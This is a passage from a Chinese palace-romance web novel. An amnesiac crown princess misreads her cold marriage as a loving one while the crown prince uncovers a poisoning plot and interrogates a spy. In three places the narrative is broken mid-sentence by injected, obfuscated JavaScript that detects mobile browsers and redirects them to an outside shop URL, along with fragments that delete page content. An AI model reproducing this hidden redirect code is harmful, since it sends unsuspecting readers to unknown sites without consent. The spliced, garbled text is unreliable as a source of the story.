沐夷光自幼跟随父兄习武,她相信凭自己的身手不可能躲不开那一箭,方才在浴室中她听闻陆修珩宁死都不愿与自己和离便已经足够吃惊的了,没想到自己更痴情,竟然真的愿意舍命为太子挡箭。
真是好一对情深意重、至死不渝的恩爱夫妻啊。
沐夷光不得不正视起自己与太子殿下的夫妻感情来,她追问道:“本宫当时与太子殿下说了什么,可是与殿下发生了争执?”
青霜为娘娘盘发的手一抖,摇了摇头:“不曾。”
沐夷光立刻提高了警惕:“那他可是做了对不起我的事?”
青霜又无奈地摇了摇头。
“那可就奇怪了,”沐夷光疑惑道:“那方才殿下为什么要对本宫说‘只要是他能做到的事,都可以答应我’、‘若要和离,除非等他死了’这些话呢?”
青霜极力掩饰自己的懵逼表情,这都是什么跟什么啊,现在是太子殿下也在跟着一起瞎胡闹吗?
不等青霜反驳,沐夷光已经得出了一个更加荒谬但又似乎有点贴近事实的结论:“难不成,是本宫做了对不起殿下的事,执意要离开他?”
……
眼见事态的发展如同脱缰的野马一般越来越不可控制,青霜已经放弃将其拉回正轨了。
为了打消娘娘那些危险的想法,她只能出面解释:“那日您和楚王妃坐在一块儿饮酒,楚王妃心情不好,将楚王和吴王都骂了一顿,还说天下男人没一个好东西,殿下说不定也在外头有人。您谢了楚王妃提醒,但转头就去寻了殿下,闹着要和离。”
沐夷光只觉得不可思议,自己一眼就能看出这是楚王妃在挑拨离间,当时怎么会那样反应,莫非真是被情爱冲昏了头脑?
长缨恍然大悟道:“奴婢听说前几日楚王与外室私会时被楚王妃抓了个正着,还当街放火烧了房子,她定是自己心情不好,又见不得您和殿下夫妻恩爱,才出言挑拨的。”
她以前还担心殿下性格过于冷漠,如今见娘娘与殿下私下里如此恩爱,长缨简直像吃到糖一样快乐,笑道:“娘娘且宽心,殿下应当是为了哄您,才甘愿放下身段说这些话的。”
沐夷光反倒不好意思了,太子对自己那样好,自己还听信谗言耍小性子,说出要和离那样任性的话,幸亏没闹出什么大事来。
她虽然性格有些娇纵,但并非不讲道理,沐夷光在心里下定决心:既然自己已经成了太子妃,还是要拿出点贤妻的样子来,以后不可再如此了。
当下最重要的事情,还是吃饭,几日粒米未进,她已经饿得快没有力气了。
青霜连忙派人布膳,先端上来的却是一碗乌黑温热的汤药:“娘娘,药已经熬好了,王太医吩咐过,要在用膳前服用。”
光是闻见那股怪味沐夷光便已经皱起了眉,还不等她拒绝,青霜就开始苦口婆心地规劝:“良药苦口利于病,喝了您才能好得快。”
沐夷光心里一百个不愿意,挣扎道:“这药太烫了,先晾一会儿。”
青霜早就做好了准备:“已经是晾过的了,药性正好,您一口气喝完,不会苦的。”
长缨也端来一小碟糖霜玉蜂儿,像哄小孩儿似的:“娘娘,喝完药再吃一碟蜜饯,不仅不苦,反而很甜呢。”
沐夷光心知她是骗人,但还是被那碟蜜饯吸引了目光。
这是一碟新制的糖渍莲子,是将绿色莲蓬里的白色莲子作比蜂房里的蜂蛹而得名,沐夷光前十三年的记忆里没有吃过这种蜜饯,但看起来就很好吃的样子。
她盯着长缨将那玉蜂儿一颗一颗地剥了出来,才忍痛端起瓷碗开始喝那碗黑乎乎又酸又苦的汤药。
那药实在太难喝了,沐夷光几乎要呕出来,是捏着鼻子分了好几次才勉强将它喝完,这时再吃那糖渍莲子也没盖过那苦味。
青霜又端来青盐水和刷牙子,她俩早已习惯了,娘娘怕苦,幼时每次喝药府中人都忙得像打仗一样,如今已经算是长进了。
沐夷光皱着脸,一边漱口,一边恨恨的想:再也不要喝药了,哪怕有再好吃的蜜饯也不要吃了!
用完膳不久,底下的侍女来报,陆修珩身边的大太监刘宝前来送赏来了。
金银绸缎、珠宝首饰如流水般送进了毓华殿,刘宝问候娘娘安康,又替太子解释了一番:“……殿下本来是要亲自来看望娘娘的,只是身体抱恙未能成行,请娘娘见谅。”
沐夷光方才见了陆修珩药浴,自然信以为真,她谢过太子殿下的赏赐,又主动关心道:“公公言重了,殿下的身体可好些了?”
刘宝叹口气:“老毛病了,殿下自幼体弱,去年战场上又伤了肺,秋冬换季之时总要发作几回。”
沐夷光听闻更加愧疚了,太子殿下身体不好,自己还为了无中生有之事冲殿下发脾气。
她本想借刘公公之口向太子表明心意,但又实在有些说不出口。
于是她很是贤良淑德地应道:“殿下的心意本宫都知道了,本宫与殿下夫妻一体,为殿下侍疾应是本宫的本分,这几日劳烦公公多费心了,待本宫休养恢复之后,再去为殿下侍疾。”
到时候自己再亲自向殿下解释好了。
她这样想着,又招招手,示意青霜打赏。
虽然有了浴室前的那一出作铺垫,刘宝还是有些受宠若惊,他连连罢手:“不过是咱家分内之事,娘娘客气了。”
要他来说,这位娘娘的确是个命好的,迄今为止已经救了殿下两次了,日后说不定还有大造化呢。
送走了刘公公,沐夷光便开始思考要不要向陆修珩解释自己贸然提出的和离一事。
以往世人皆道太子殿下孤高冷傲,沐夷光如今却觉得言过其实了。
这个人明明是别扭极了,自己不过闹脾气跟他提了句和离,就开始赌气了,明明是关心自己的身体,却非要说“你是不是烧坏脑子了”;明明舍不得离开自己,却非要说“若要和离,除非等我死了。”
想到陆修珩方才板着一张俊脸冲自己说这些话的样子,沐夷光捂着嘴,偷偷地笑了起来。
她竟然觉得有几分可爱。
*
是夜,洛元正向陆修珩禀报刺杀一案的进展。
“……大理寺那边传来消息,刺客已在牢中自尽,并未审出什么有用的信息。”
陆修珩神色淡淡,仿佛对这一切早有预料:“吴王府与宾客那边,自然也是一无所获了。”
洛元点了点头,又道:“至于太子妃那边,娘娘近日都在东宫之中,接触的人也无异状,只是那日赴宴楚王妃主动找娘娘说话,属下暂未探得谈话内容,只是二位娘娘说完话后,还多饮了一壶酒,心情都不大爽利。”
在他看来,便是楚王妃与太子妃发了几句牢骚,太子妃有所感怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629034|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又多饮了几杯,便在酒意之下提出了和离。
陆修珩已经能够猜到她们说了些什么,冷哼一声:“蠢货,养个外室都能闹得满城风雨。”
洛元忍笑,楚王养外室一事已经成为京城近日饭后的笑谈了,好在没有闹出人命。
陆修珩难得问了一句:“太子妃现在情况如何?”
王太医早已在门外候着了,一经太子传召,便将太子妃的脉案递到了殿下的面前。
陆修珩一目十行地翻阅完脉案,扫了一眼王太医,语气平静地询问:“为何会失忆?”
王太医断不敢轻视这位生性凉薄、杀人如麻的主儿,拼命地回忆自己看过的医典:“许是高热,也许是中毒,目前还不得而知此疾的发病缘由,但娘娘确是罹患失忆离魂之症。”
脉案上写得清楚,经太医诊断,箭上所淬的毒药名为“青花”,已经为太子妃解了大半了,再过两日,便可将毒性彻底清除。
青花是江湖上常见的毒药,所以案发后难以溯源。只是箭上淬的青花毒性不强,量少则难以毙命。
刺客大张旗鼓地在宴上刺杀,为何只使用青花这样的毒药呢?
陆修珩心思百转,却只是淡淡道:“孤还是第一次听说青花毒可使人失忆。”
言语之间听不出喜怒,也未有怪罪之意。
王太医“扑通”一声跪在地上:“微臣无能,这是太医院会诊的结果,请殿下明鉴呐!”
越是会诊,便越是中庸。
陆修珩懒得计较,将脉案合上:“尽快将毒解了,太子妃病情若有任何进展,都要向孤禀报。”
王太医喏喏点头退下,一边小跑一边在心里庆幸:好在自己明日不当值了,这就可以回太医院。
见王太医走远,刘宝前道:“启禀殿下,娘娘目前已经知晓自己的身份了,只是……”
他本来想说娘娘的认知似乎出现了偏差,斟酌一番,又改口:“娘娘虽然失忆了,仍然对殿下十分关心,言语之中似乎与殿下颇为……恩爱。”
他将沐夷光所说的侍疾一事又复述一遍。
陆修珩那张冰冷的脸上第一次出现了古怪的神色。
他与沐夷光成婚一年,彼此关系冷淡,只是对逢场作戏一事颇为默契,如今她失忆,多半是误以为二人感情甚笃,才有此举。
“近日那几位的动作如此之大,几乎将狼子野心都摆在了明面,您和娘娘的婚事本就是御赐的,若真是闹出点什么事儿来,少不得有人要浑水摸鱼,”刘宝大着胆子继续道:“娘娘平日里端凝娴静,心意藏得极深,反倒是在危难时见真情了。恰逢娘娘失忆,殿下不若也对娘娘好些,坐实了这恩爱的名声,至少娘娘病好以后也能打消了和离的心思。”
陆修珩沉默了,鬼使神差地想起沐夷光为他挡箭后那句如同梦呓般的呢喃来。
但眼神很快又恢复平静,颔首道:“孤知道了。”
话音刚落,便有侍卫来报:“启禀太子殿下,毓华殿那边传来消息,太子妃娘娘的病情忽然加重了。”
刘宝试探地看向太子殿下。
果不其然,陆修珩淡漠道:“那便派人去请太医。”
那侍卫立刻不敢说话了,刘宝叹了口气,也不敢再劝。
房内安静极了,只有烛光微闪,映在杯中碧清澄澈的茶水上,盈盈似美人泪光。
若是在以往,他实在很难将那双迷蒙的泪眼和冷静端庄的太子妃联系到一起。
陆修珩轻轻转动了一下手指上的暖玉扳指,忽然又改了主意:“带路。”
5. 第 5 章
秋夜的晚风轻抚,月华顺着屋脊倾斜,拉长了地上的树影。
沐夷光闭着眼睛躺在床上,脸色苍白,额上冒出细密的汗珠,半点不见方才的精气神来。
青霜寸步不离地守在床边,用浸湿的锦帕轻轻擦拭娘娘的额头,沐夷光仍觉得热,长缨连忙撤下帷幔,又去开窗。
沐夷光只觉得头晕眼花,心慌气急,像是被打了一闷棍,又像是有一根细绳不停地在脑子里拉扯,相比之下,肩膀上的外伤反而不算什么了。?
她把自己裹在锦被之中,声音弱小:“青霜,我头好疼。”
青霜又放柔了力道,轻声哄道:“娘娘,您稍等,王太医已经在赶来的路上了。”
长缨急得派人去催促:“快去看看,王太医人呢,怎么还没来?”
侍女慌慌张张地跑来:“王太医还没到,太子殿下来了。”
闻言,青霜与长缨对视一眼,眼里都是惊讶。
沐夷光只听到“王太医”三个字,还在努力反抗:“不要,我睡一觉就好了,不要看太医。”
因太子妃病重,陆修珩并未让人通传,他来的时候,沐夷光正躺在床上,因为高热发汗,额前的乌发有些湿润地贴在光洁的肌肤上,整张脸像素雪一样白,那双眸子也是湿湿的,眼尾泛着红,将哭未哭的样子。
许是怕将寒气带进屋内,陆修珩在门口便将大氅解了下来,他今日穿了一件方领对襟的挼蓝罗织银蟒袍,里面还有一件纯白色的竖领内衫,精致的领口捂得严严实实,整个人清冷又矜贵。
他已将沐夷光说的话听得清清楚楚,此刻只觉得她是自找的,他站在沐夷光的床前,冷声问道:“为何不愿看太医?”
果然是冷冰冰的,还有一点凶。
不过沐夷光已经知道了陆修珩的“色厉内荏”,她一点儿都不害怕,伸出手轻轻拉住陆修珩的衣摆,小声道:“你别凶我。”
那只手纤细凝白,柔若无骨,连拽着衣角的力气都比上次小了很多。
……
房间里有一瞬间的安静,青霜、长缨与刘宝连大气都不敢出,耳朵却竖得尖尖的。
静默片刻,陆修珩隐忍道:“孤没有凶你。”
沐夷光不说话,只揪着他的衣角不放,眼神里满是谴责。
她是什么时候学会的揪人衣角,并且觉得这招很好用的?
陆修珩按了按眉心,勉为其难地说了句软话:“方才是孤心急了,但是生病了就得看病,不可讳疾忌医。”
沐夷光眼神里的谴责逐渐消散,水雾弥漫的眼睛里清晰倒映出他的身影,因为生病而变得软绵绵的声音里带了点儿撒娇的意味:“可是药太苦了,我不想喝药。”
陆修珩皱起眉,只觉得她无理取闹,声音平静而不容置喙道:“还不快宣太医。”
刘宝无奈地拱了拱手,以一种极为缓慢的速度退出了门。
沐夷光在病中一贯任性,此时脾气也上来了:“你说话不算数!你今天早上还对我说只要是你能做到的事情都能答应我的。”
她口无遮拦,竟然无意识使出了更加厉害的招数:“你是不是就是想气我,逼我与你和离?!”
此言一出,寝殿内安静得落针可闻。
陆修珩彻底败下阵来,冷静地低声哄道:“孤答应你,不会让你喝苦药。”
沐夷光闻言,终于慢吞吞地松了手,像是一只努力卸下防备的小奶猫,眼睛亮亮的,乖巧又紧张:“真的吗?”
“嗯。”
王太医背着药匣,心不甘情不愿地从宫门外一路小跑过来。
明明他已经下值在回太医院的路上了,这东宫的人怎么就逮着他一人祸祸呢?
好不容易跑到了毓华殿,刘宝一把拉住了他:“先别进去。”
王太医一边喘着气,一边道:“不是…太子妃娘娘催……快一点的吗?”
刘宝站在寝殿门外,侧耳听了听,才道:“现在可以进去了。”
王太医进了门,便看见了正站在太子妃娘娘床边的太子殿下。
他的眼皮跳了跳,规规矩矩地行礼到一半,便听得太子道:“不必多礼,给太子妃诊脉吧。”
王太医在心中啧啧称奇,都说太子殿下薄情寡义喜怒无常,今日所见,对太子妃倒是十分真心嘛。
为太子妃把完脉,他总算是松了一口气:“娘娘这是药物相克的中毒反应,先将药停了,再服几剂解毒的汤药就行。”
王太医打开药匣,开始给沐夷光开新的药单子。
沐夷光看着王太医执笔在纸上龙飞凤舞,转头看向陆修珩,一脸的苦大仇深。
陆修珩似有所感,回望过来,她又迅速切换成乖巧的祈求表情,目光盈盈。
这在陆修珩眼中实在是很拙劣的表演,但他还是第一次在太子妃的身上见到。
太子殿下难得多了一分耐心,他抽走药单子,看出了端倪:“这是乌头毒的解药?”
王太医忽然有种自己正在参加太医院考试的感觉,小心谨慎地答道:“太子殿下明鉴。”
陆修珩将单子递还给他:“将鬼臼与虎掌草换成白芍与甘草,蜂蜜水送服。”
看来太子殿下这是久病成良医了,王太医对这番改动心服口服,他的脑子也忽然灵光了一回,主动道:“太子殿下这样一调整,不光药性温和了许多,熬出来也不会苦了,微臣佩服。”
这两位的感情还真是像传言中的那样好呢!
沐夷光抓着被角的手终于放松下来,心满意足道:“多谢殿下。”
她终于有了闲心询问:“王太医方才所说的药物相克,是什么原因?”
王太医解释:“娘娘如今的症状,是接触了与微臣所撰药方中相克的药物所致。敢问娘娘近日除了服用微臣所开的药以外,是否还误服了什么药物?”
提到药,沐夷光便无精打采起来,还是青霜上前说:“娘娘昏迷那几日除了服药外只用了些米汤,今日醒后也就用了一碗米粥,在服药后吃了一碟糖霜玉蜂儿。”
“不应当啊,”王太医困惑道:“若只是米粥与莲子,绝不会有此症状才是。”
沐夷光还在茫茫然思考自己今天都干了什么,陆修珩已经洞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629035|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若观火,慢条斯理道:“孤那里还有一份药方。”
青霜与长缨一愣,娘娘连自己的药都不肯喝,什么时候竟还去喝了殿下的药?
沐夷光这才反应过来,自己掉到陆修珩的浴池里的时候,不小心呛了好几口药浴用的药汤。
她垂死病中惊坐起,慌里慌张地看着陆修珩:“殿下,你……你好好说话。”
陆修珩明白了她的意思,薄唇难得地勾起一个几不可察的弧度,从容道:“刘宝,将今早那份药方上的药材誊写一份,给王太医过目。”
看到陆修珩没有提及药浴的事情,沐夷光舒了一口气,才又躺了下去。
若是让别人知道自己不小心喝了太子殿下的浴汤,自己还不如死了算了。
在场不知情的人的确没有察觉出其中波澜起伏,除了刘宝,他死死地盯着自己脚底那块地砖,好像和它有什么深仇大恨一般,这才勉强控制住自己的表情。
王太医也以为殿下是在提防自己,毕竟太子殿下的身体状况是燕京公开的“秘密”。
太子殿下八岁那年生了一场大病,就连太医院也束手无策,反倒是在民间寻了一位乡野大夫熬了过去,此人医术普通,开的药方却阴差阳错对了太子的病症,从此便成了太子殿下的专用大夫,专门负责调养他的身体,连太医院都不曾插手。
正因如此,也无人得知太子殿下的身体状况到底如何。有人道他病骨支离,却看着他撑过一年又一年,有人猜他是假意装病,但病情又确实凶险,一直都是三好两歹的,朝政和讲学也经常告假。
自己若是看了方子,多少能猜出几分。
很快,刘宝便拿来了誊写药材的单子,王太医战战兢兢地接了过来,却半天也不敢打开。
陆修珩冷哼一声:“怕什么,孤让你看便看。”
王太医抖着手将单子看了一遍,很快找到了症结:“回禀殿下,这份药方上的确有与之相克的药物。”
他咬咬牙,干脆说了个明白:“要解这青花毒,须得以乌头入药,连续服用五日。乌头虽具有毒性,但小剂量入药可回阳救逆,散寒止痛,而殿下这药方中,清热润肺的川贝母、辛散解毒的白蔹,皆与乌头相克。”
沐夷光似乎抓住了问题的本质:“那这相克毒可否使人致命呢?”
王太医的汗又要冒出来了:“若是太子妃娘娘这样的身体,医治及时,休整些时日,就可以恢复了,若是本身……本身有顽疾在身,又体弱的人,如果救治得当,虽不危及性命,但也……也只是苟延残喘罢了。”
沐夷光听出来了,大概就是有人得知了陆修珩的药方,精心准备为他准备的这场刺杀,结果又被自己给陆修珩挡了一刀。
她甚至开始怀疑这才是自己要与陆修珩和离的真正原因:太子殿下克妻啊!
似乎察觉到她的想法,陆修珩郑重道:“这种意外,不会再有下次了。”
这两次的确都是意外,即便他要请君入瓮,也绝不至于让一个女人替他犯险。
陆修珩说得认真,落在沐夷光耳里自然就变成了情深意切的表白。
6. 第 6 章
她一个失忆初醒的小姑娘哪里听过这些,耳根立刻热了起来,颊边也泛上粉意。
仔细想想,太子殿下也挺不容易,保家卫国却落得一身伤,身居高位却被无数人虎视眈眈,连个可以信任的人都没有。
既然二人情投意合,又是夫妻,自己合该站在他一边的。
这样一想,她的心也柔软起来,小声却坚定回应道:“殿下不必挂心,若有下次,我也还是会保护你的。”
被那样一双清澈又漂亮的眸子看着,陆修珩却忽然觉得有些不自在,好像心脏跳停了一拍。
他忍住这不知从何而来的心悸,匆忙地“嗯”了一声,又补充道:“既然无事了,你便好好休息,记得喝药,孤下次再来看你。”
怎么有些落荒而逃的意味?
沐夷光晃晃脑袋,应当是自己想岔了,既然知道有人意图下毒,殿下自然需要去处理一些事情。
于是她体贴地点了点头:“臣妾还有伤在身,就不送殿下了。”
又过了一会儿,长缨便将煎好的新药端了过来,黑咕隆咚的汤药不疾不徐地冒着热气,看起来依旧不好相处。
沐夷光接过碗,难闻的药味儿忽忽悠悠地飘了出来,似乎在拆陆修珩的台。
还没喝药,她的脸就已经先苦了起来。
长缨立刻把陆修珩搬了出来:“娘娘,太子殿下说过这次的药不苦的,快趁热喝了吧。”
明明是哄小孩儿的话,带上“陆修珩”这三个字似乎便平添了几分说服力。
沐夷光半信不信地尝了一口,清苦的汤药中带了一丝丝的甜味儿,说不上好喝,但勉强也能够接受,而且比之前酸苦涩口的汤药要好太多了。
她痛快地一口气将药喝完,这次甚至也没有吃长缨端来的蜜饯,只要了一杯清茶。
见娘娘喝药喝得这样爽快,长缨大胆地问道:“娘娘感觉如何,殿下开的药不苦吧?”
沐夷光满意地点点头,殿下虽然看起来病病殃殃的,也不近人情,实际上却是一个又聪明又体贴的人呢。
她有些明白以前的自己为何会喜欢太子殿下了。
*
东宫西北面的房屋主要是杂物间和最低等下人们的居所,此处朝向不好,阴冷潮湿,平日里少有外人来往,更无人得知此间地下筑了一座隐蔽幽深的地牢。
这地牢不知有多深,里面寂若死灰,地上的半点声响都听不到,只有石壁上嘀嗒嘀嗒的水声在提示着时间的流逝。
暗卫们的动作很快,不到一刻钟便将人找了出来,泄露药方的是药房一名负责记录煎药时辰的婢女。审了两轮,此女总算是承认了自己的奸细身份,但她只知道与上家接头的地点是一家药铺,其余一概不知。
照理说这点小事用不着向陆修珩请示,可是此女还扬言自己有办法可解殿下顽疾,但必须要见太子殿下。
这样的奸细大多受过刑讯逼供的训练,洛元怕手下人没轻没重把人弄死了,只得将此事报给陆修珩定夺。
陌生的脚步声响起,小翠抬头一看,正是自己朝思暮想的那个身影。
她勉力支撑起身子跪坐在地上,又理了理凌乱的鬓发,露出引以为豪的姿容来,等待太子殿下的传唤。
洛元站在旁边看着,只觉得此女莫名其妙。
因为刑房平日里清理及时,地面上干干净净的,一点脏污与血渍也无,施以烙刑的火炉里银丝碳烧得正旺,是得知殿下要来特意新换的,一点儿也不违和,只有顶上的石壁一点一点往下滴水,蜿蜒出浅浅痕迹。
陆修珩身披一件纯黑色的玄狐大氅,病骨岩岩,却依旧欺霜傲雪,寒意从四面八方袭来,他巍然不动。
洛元狗腿地将火炉移了过来,连带炉上的烙铁也烧得通红通红的,似要将殿下衬成一个行刑的刽子手,唯他容貌太盛,只往那里一站,仍有无数人前仆后继,想要他亲手打上的烙印。
小翠应当也是这么想的,她低身跪拜行礼:“拜见太子殿下,奴婢是为您煎药的小翠。”
陆修珩只扫她一眼,便开始审阅桌上那份口供。
想来太子殿下并不关心一个煎药的婢女姓甚名谁,洛元只好越俎代庖:“你自称有法可解太子殿下顽疾,如今殿下亲至,大可以说了。”
小翠立刻泪盈盈道:“奴婢有罪,为了自保不得已欺瞒殿下,奴婢虽不可解太子殿下之疾,但在东宫这段时间,已深深为殿下风姿折服,若是殿下愿意将奴婢保下,定当为殿下遮掩病情,奴婢在那边的身份也会水涨船高,亦可为殿下探得更多消息,为殿下驱使。”
原来是想做双面间谍来了。
洛元原本觉得此女狂妄,忽然又咂摸出几分道理。虽然不知她受雇于何人,但对方几次三番暗下杀手,倒不如将靶子立在明处,也好有个应对。
他转头看向殿下,殿下却不为所动,神情漠然道:“东宫不留居心叵测之人。”
小翠双腿一软,慌慌答道:“奴婢对殿下从未起过加害之心,青花与那乌头毒的剂量亦不致死,请殿下饶命啊!”
为了挽救自己的性命,她一股脑地补充道:“奴婢先前的主子也并未想至殿下于死地,听说刺杀那日箭上原本要淬的是木箭毒,是奴婢将药方送出后,我们的人废了好大力气才将毒药换成青花的。”
洛元瞪圆了眼睛,木箭是可见血封喉,立时毙命的毒药,在北方极为罕见,一两可抵千金。只是他想不明白,既然已经走上刺杀这条绝路,为何不一不做二不休呢?
木箭毒,这才有点刺杀的样子。
陆修珩轻勾唇角,嘲弄道:“原来是想用孤的性命为引,使鹬蚌相争。可惜下了这样一盘大棋,竟未分清自己是渔翁还是鱼肉。”
洛元这才明白过来,此事背后怕是有两方势力,一方要殿下立死,另一方要殿下苟延残喘,自己坐收渔利,且有试探殿下病情之意,只怕用心更为险恶。此女无疑来自于后一方势力,倒也是枚可用的棋子。
“京中盼着孤早死的人很多,要让孤苟活的人倒是有点难猜,”陆修珩冷笑一声:“叶礼贤做事未免太不小心,一桩刺杀案,闹出这么大的动静。”
洛元垂着头,不敢说话。
叶礼贤是内阁首辅,大权在握,其妹叶秋卉深得盛宠,去年更是为宣成帝诞下麟儿,册了贵妃。
宣成帝老来得子,对六皇子陆修琅颇为喜爱,只是几位哥哥年长他太多,又有嫡长子在前,大局已定,若要论谁盼着殿下早死,叶家定然为首。满朝皆知太子病弱,陛下不过不惑之年,身体康健,若是太子提前薨逝,几位兄长明争暗斗,难免有些折损,而六皇子反倒能在陛下庇佑中长大,才有一争之力。
刺杀一事殿下早已收到了风声,甚至已经做好了万全的应对方案,案发之后随时可以将叶阁老拉下水,若不是太子妃娘娘挡箭,殿下和叶阁老可能都要中计。
如今反倒是叶阁老这一步险棋走漏了风声,此刻他只怕是慌得不行,若是知道这箭上的毒药也出了岔子,估计要彻夜难眠了。
清冷低沉的声音还在继续:“户部尚书朱玉书年近七十,也该致仕了。”
叶礼贤是朱玉书门生,叶朱两家关系极近,朱玉书致仕则叶礼贤如断一臂。
洛元听得咋舌,脑子不甚灵光道:“朱尚书说起来是年近七十,其实不过六十有五而已,若他执意不退……”
陆修珩不以为意:“朱尚书家中双亲俱在,本朝奉行孝道,莫要落得个忤逆不孝的罪名。”
他开起价码来也毫不手软,“孤记得翰林院有个修撰名为崔栋,有状元之才,叶礼贤若是不应,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629036|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便令他去写折子,还禄位于君。”
洛元立刻恍然大悟。朱玉书致仕,宣成帝也乐见其成,殿下此举又拉拢了崔状元,可谓是一举多得。
只有小翠心中害怕极了,殿下生得一副谪仙样貌,原以为是如玉君子,但见他三言两语便定了朱尚书的命运,自己只怕也是在劫难逃。
又听得太子殿下问道:“接头的那家药铺情况如何?”
洛元答道:“药铺依然在正常经营,暂时未见异状。”
小翠心中又升起一点希望,既然接头的上家还在,自己便还有价值。
陆修珩冷冷开口,彻底打碎她的妄想:“从太子妃挡箭起,药方这步棋便走废了,药铺那边不过是提前留给我们的尾巴罢了,若是朱玉书致仕,便当此事从未发生过,刺杀一事任由大理寺去查。”
若是叶礼贤能接下他开的价,他也不愿成为第三方对付叶礼贤的棋子。
洛元了然:“殿下英明,只是此女该如何处置?”
“弃子而已,无所用之。”
陆修珩说罢便转身离去,身后门重重掩上,隔绝那一室的哭喊嚎叫。
洛元亦步亦趋地跟着,他看着殿下抬头凝视石壁上滴落的水珠,立刻自以为贴心地道:“殿下,属下这就派人去取手炉。”
陆修珩抬手制止:“此处再往下挖六尺深,建一座水牢。”
洛元一愣,他不善刑罚,更是头一回听说什么水牢,依照殿下的描述,才逐渐搞清楚是什么样子。
陆修珩看着这个忠心耿耿但关键时刻总是缺根弦的属下,淡淡道:“你在此处监工,顺便将脑子里的水也倒出来。”
洛元心中哀嚎一声,终于明白了自己错在哪儿:“是,殿下。”
话虽说得简单,一个正二品官员的任免还是掀起了不小风浪,何况还是户部这样举足轻重的地方,京中跑动的人都勤快许多,陆修珩要置身事外,索性去京郊别庄养病。
他的别庄秘密置在京郊的深山里,那里有地热和温泉,适宜他的病情。
下人已经备好了马车,陆修珩准备出门时,恰巧遇上了在东宫内闲逛的沐夷光。
因为有伤在身,沐夷光走得很慢,正好观察熟悉东宫的布局,她的眼睛很尖,一眼就看见了从正殿内走出的太子殿下,玄狐大氅下换了一身深色常服,一看就是要出门的样子。
沐夷光的步伐立刻迈大了一点,扬声唤道:“殿下!”
陆修珩置若罔闻,继续往前走,刘宝小声提醒道:“殿下,娘娘正在往这边赶,若是伤口崩开就不好了。”
若是养伤养得反复无常,外面不定传成什么样呢。
他只好停下脚步,站在原地等她。
沐夷光今日穿了一身白素罗绣花草云纹锦缎裙,发髻上简单簪了一枝院子里攀折来的杏花,花瓣白里透着粉,却不及她面容娇嫩:“殿下这是要去哪儿?”
陆修珩从来不是惜花之人,那张冠玉般冰冷苍白的脸庞上依旧没什么表情:“京郊养病。”
沐夷光的眼神里立刻冒出了一点儿雀跃:“臣妾也想——”
知道她要说什么,陆修珩径直打断道:“你重伤未愈,不宜出门。”
陆修珩说得在理,沐夷光只能心不甘情不愿道:“好吧,那殿下回来的时候会为臣妾带手信吗?”
她的声音清甜,撒娇意味明显。
不过是京城到京郊的距离,带什么手信?
陆修珩刚要拒绝,沐夷光已经上前一步,抓住了氅衣的大袖:“臣妾失忆后还从未出过宫呢,虽然不能与殿下一同出门,只要是殿下带回来的,臣妾都会喜欢。”
她眨了眨清透澄澈的眸子,面露恳求之色,看起来又乖又软。
陆修珩盯着大袖上那一点褶皱,又一次让步了。
7. 第 7 章
几日过去,洛元正在与陆修珩汇报京中人事变动的最新进展,宣成帝已经批准了朱玉书的请辞,只是新任户部尚书的人选迟迟未定。
陆修珩并不打算插手此事,他相信宣成帝自有成算,叶礼贤一家独大的格局已久,好不容易退下一个,自然不会再上一个叶党。
说话间,刘宝求见,他带来了东宫的消息:宫中送给太子妃娘娘的赏赐到了,齐宣帝下了盛赞沐夷光的圣旨,并赐玉如意一对,叶贵妃赐了暖玉一枚,冰蚕丝绢十匹,又怜惜太子妃受伤不便,送来了四个貌美如花的婢女。
刘宝说话时一直忐忑不安,慈懿皇后薨逝后宣成帝一直未立新后,宫中后位空悬,暂由叶贵妃掌管凤印,一切事宜由她代理。
贵妃娘娘野心勃勃,以关心皇家子嗣的名义将美人直接安排进成年皇子的后院,已是她惯用的把戏了,像那风流成性的楚王殿下,后院里不知多少这样的耳目。唯独之前送给太子的美人因妄图爬床被活活打死,眼见太子这条路走不通,如今便巧立名目以婢女的名义赏赐给太子妃娘娘。
叶贵妃今日此举,手未免也伸得太长了。
陆修珩饮下一碗苦药,淡淡问道:“可查清这四名婢女身份?”
刘宝点了点头:“其中两人是叶贵妃的人,还有两名普通宫女。”
贵妃娘娘不便将美人直接安排进成年皇子的后院,便巧立名目,以婢女的名义赏赐给太子妃娘娘。这已是她惯用的把戏,像那风流成性的楚王殿下,后院里不知多少这样的耳目了。
陆修珩眸光一沉,能被选入东宫,自然不会是什么普通宫女,叶贵妃的人无足轻重,重要的是父皇有没有插手此事。
往日里宣成帝知道嫡子清心寡欲不重女色,虽然提点过子嗣一事,但也未直接给他安排美人,而如今叶贵妃赏赐的婢女与圣旨一同送到,本身就是一种信号。
